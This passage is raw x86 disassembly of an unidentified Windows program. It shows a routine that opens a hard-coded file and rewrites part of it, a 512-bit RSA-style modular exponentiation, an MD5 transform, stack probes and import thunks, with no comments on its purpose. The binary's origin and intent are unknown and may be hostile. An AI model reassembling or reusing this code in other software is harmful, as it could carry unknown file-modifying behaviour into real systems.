		mov	eax, 10004h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		lea	edi, dword_447260
		cmp	[ebp+arg_4], 43h
		jnz	short loc_442463
		lea	edi, dword_4460F0


loc_442463:				; CODE XREF: sub_44243E+1Dj
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	0C0000000h
		push	edi
		call	ds:dword_449788	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_44251D
		push	0
		push	0
		push	esi
		push	edi
		call	ds:dword_449B9C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFh
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_444028	; ReadFile
		lea	ecx, [ebp+var_FFFF]
		or	eax, 0FFFFFFFFh


loc_4424B5:				; CODE XREF: sub_44243E+7Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4424B5
		mov	edx, dword_44A238
		add	edx, 1
		movsx	ecx, word_44A1C0
		add	edx, ecx
		mov	ebx, eax
		add	ebx, edx
		mov	[ebp+var_4], ebx
		mov	ebx, dword_44A0C8
		add	ebx, dword_44A258
		mov	edx, [ebp+var_4]
		mov	[ebp+ebx*4+var_1000C+1], edx
		push	0
		push	0
		push	esi
		push	edi
		call	ds:dword_449B9C	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		movsx	eax, word_44A264
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_10003]
		push	eax
		push	edi
		call	ds:dword_449B8C	; WriteFile
		push	edi
		call	ds:dword_448654	; CloseHandle


loc_44251D:				; CODE XREF: sub_44243E+43j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44243E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442524	proc near		; CODE XREF: sub_439DC4+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_44BB28
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_4425EF
		xor	edx, edx


loc_442554:				; CODE XREF: sub_442524+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_442566
		mov	edx, [ebp+arg_4]
		call	sub_442580


loc_442566:				; CODE XREF: sub_442524+38j
		lea	edx, dword_44BB28
		call	sub_442580
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_442554
		popa
		pop	ebp
		retn	10h
sub_442524	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_442580	proc near		; CODE XREF: sub_442524+3Dp
					; sub_442524+48p
		lea	edi, dword_44BAE8
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_44BB28
		call	sub_4425EF


loc_44259A:				; CODE XREF: sub_442580+5Dj
		lea	edi, dword_44BAE8
		mov	ecx, 10h
		xor	eax, eax


loc_4425A7:				; CODE XREF: sub_442580+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_4425A7
		call	sub_442600
		bt	dword_44BB28, ebx
		jnb	short loc_4425DC
		mov	esi, edx
		lea	edi, dword_44BAE8
		xor	eax, eax
		mov	ecx, 10h


loc_4425CB:				; CODE XREF: sub_442580+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_4425CB
		call	sub_442600


loc_4425DC:				; CODE XREF: sub_442580+3Aj
		dec	ebx
		jns	short loc_44259A
		mov	edi, edx
		lea	esi, dword_44BAE8
		mov	ecx, 10h
		rep movsd
		retn
sub_442580	endp


; =============== S U B	R O U T	I N E =======================================



sub_4425EF	proc near		; CODE XREF: sub_442524+29p
					; sub_442580+15p
		mov	ebx, 1FFh


loc_4425F4:				; CODE XREF: sub_4425EF+Bj
		bt	[edi], ebx
		jb	short locret_4425FC
		dec	ebx
		jnz	short loc_4425F4

locret_4425FC:				; CODE XREF: sub_4425EF+8j
		retn
sub_4425EF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_442600	proc near		; CODE XREF: sub_442580+2Ep
					; sub_442580+57p
		lea	esi, dword_44BAE8
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_44260E:				; CODE XREF: sub_442600+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_442637
		ja	short loc_44261B
		dec	ecx
		jns	short loc_44260E


loc_44261B:				; CODE XREF: sub_442600+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_44BAE8
		xor	eax, eax
		mov	ecx, 10h


loc_44262B:				; CODE XREF: sub_442600+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_44262B

locret_442637:				; CODE XREF: sub_442600+14j
		retn
sub_442600	endp


; =============== S U B	R O U T	I N E =======================================



sub_442638	proc near		; CODE XREF: sub_442689+32p
					; sub_442689+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_442638	endp


; =============== S U B	R O U T	I N E =======================================



sub_442645	proc near		; CODE XREF: sub_442689+219p
					; sub_442689+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_442645	endp


; =============== S U B	R O U T	I N E =======================================



sub_442652	proc near		; CODE XREF: sub_442689+420p
					; sub_442689+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_442652	endp


; =============== S U B	R O U T	I N E =======================================



sub_442659	proc near		; CODE XREF: sub_442689+627p
					; sub_442689+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_442659	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442662	proc near		; CODE XREF: sub_43C2C0+73p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_442662	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442689	proc near		; CODE XREF: sub_43C2C0+8Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_44BB68, eax
		mov	eax, [edi+4]
		mov	dword_44BB6C, eax
		mov	eax, [edi+8]
		mov	dword_44BB70, eax
		mov	eax, [edi+0Ch]
		mov	dword_44BB74, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442638
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442638
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442638
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442638
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442638
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442638
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442638
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442638
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442638
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442638
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442638
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442638
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442638
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442638
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442638
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442645
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442645
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442645
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442645
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442645
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442645
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442645
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442645
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442645
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442645
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442645
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442645
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442645
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442645
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442645
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442645
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442652
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442652
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442652
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442652
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442652
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442652
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442652
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442652
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442652
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442652
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442652
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442652
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442652
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442652
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442652
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442652
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442659
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442659
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442659
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442659
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442659
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442659
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442659
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442659
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442659
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442659
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442659
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442659
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_442659
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_442659
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_442659
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_442659
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_44BB68
		add	[edi], eax
		mov	eax, dword_44BB6C
		add	[edi+4], eax
		mov	eax, dword_44BB70
		add	[edi+8], eax
		mov	eax, dword_44BB74
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_442689	endp


; =============== S U B	R O U T	I N E =======================================



sub_442ED4	proc near		; CODE XREF: sub_442EF1+1Ep

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_442ED5:				; CODE XREF: sub_442ED4+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_442ED5
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		push	ecx
		retn
sub_442ED4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_442EF1	proc near		; CODE XREF: sub_43D058+42p

arg_0		= dword	ptr  4

		pop	ecx
		pop	eax
		add	eax, 3
		shr	eax, 2
		shl	eax, 2
		cmp	eax, 1000h
		jl	short loc_442F21
		mov	edx, esp
		push	eax
		fild	[esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		fild	[esp-4+arg_0]
		call	sub_442ED4
		mov	esp, edx
		push	edx
		fistp	dword ptr [esp+0]
		mov	ecx, [esp+0]
		fistp	dword ptr [esp+0]
		pop	eax


loc_442F21:				; CODE XREF: sub_442EF1+10j
		sub	esp, eax
		mov	eax, esp
		mov	dword ptr [eax], 0
		push	ecx
		push	ecx
		retn
sub_442EF1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_442F30	proc near		; CODE XREF: .text:004381BAp
					; DATA XREF: .data:off_44A000o
		xor	eax, eax
		inc	eax
		retn	0Ch
sub_442F30	endp

; ---------------------------------------------------------------------------
		align 4
		push	eax
		fnstcw	word ptr [esp]
		mov	eax, [esp]
		btr	dword ptr [esp], 8
		or	word ptr [esp],	200h
; START	OF FUNCTION CHUNK FOR sub_442F5B


loc_442F4A:				; CODE XREF: sub_442F5B+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx


loc_442F4E:				; CODE XREF: .text:00442F59j
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_442F5B
; ---------------------------------------------------------------------------
		push	eax
		fnstcw	word ptr [esp]
		pop	eax
		jmp	short loc_442F4E

; =============== S U B	R O U T	I N E =======================================



sub_442F5B	proc near		; CODE XREF: .text:loc_4381A7p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00442F4A SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_442F4A
sub_442F5B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_442F6C	proc near		; CODE XREF: sub_43858C+8p
					; sub_4393B1+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_442F6D:				; CODE XREF: sub_442F6C+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_442F6D
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_442F6C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_442F8C	proc near		; CODE XREF: sub_43858C+243p
					; sub_43858C+5A7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_442F8C	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_44C0AC
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_442FC4	proc near		; CODE XREF: sub_43825C+10p
		jmp	ds:dword_44C0B0
sub_442FC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_442FD0	proc near		; CODE XREF: sub_438080+13p
		jmp	ds:dword_44C0B4
sub_442FD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_442FDC	proc near		; CODE XREF: sub_4381C3+33p
					; sub_4381C3+45p ...
		jmp	ds:dword_44C0C0
sub_442FDC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_442FE8	proc near		; CODE XREF: sub_4381C3+Bp
					; sub_4381C3+17p ...
		jmp	ds:dword_44C0C4
sub_442FE8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0
; ---------------------------------------------------------------------------
		jmp	ds:dword_44C0C8
; ---------------------------------------------------------------------------
		align 10h
		jmp	ds:dword_44C0CC
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44300C	proc near		; CODE XREF: sub_43825C+4Ep
					; sub_43825C+87p
		jmp	ds:dword_44C0D0
sub_44300C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_443018	proc near		; CODE XREF: .text:00438186p
		jmp	ds:dword_44C0D4
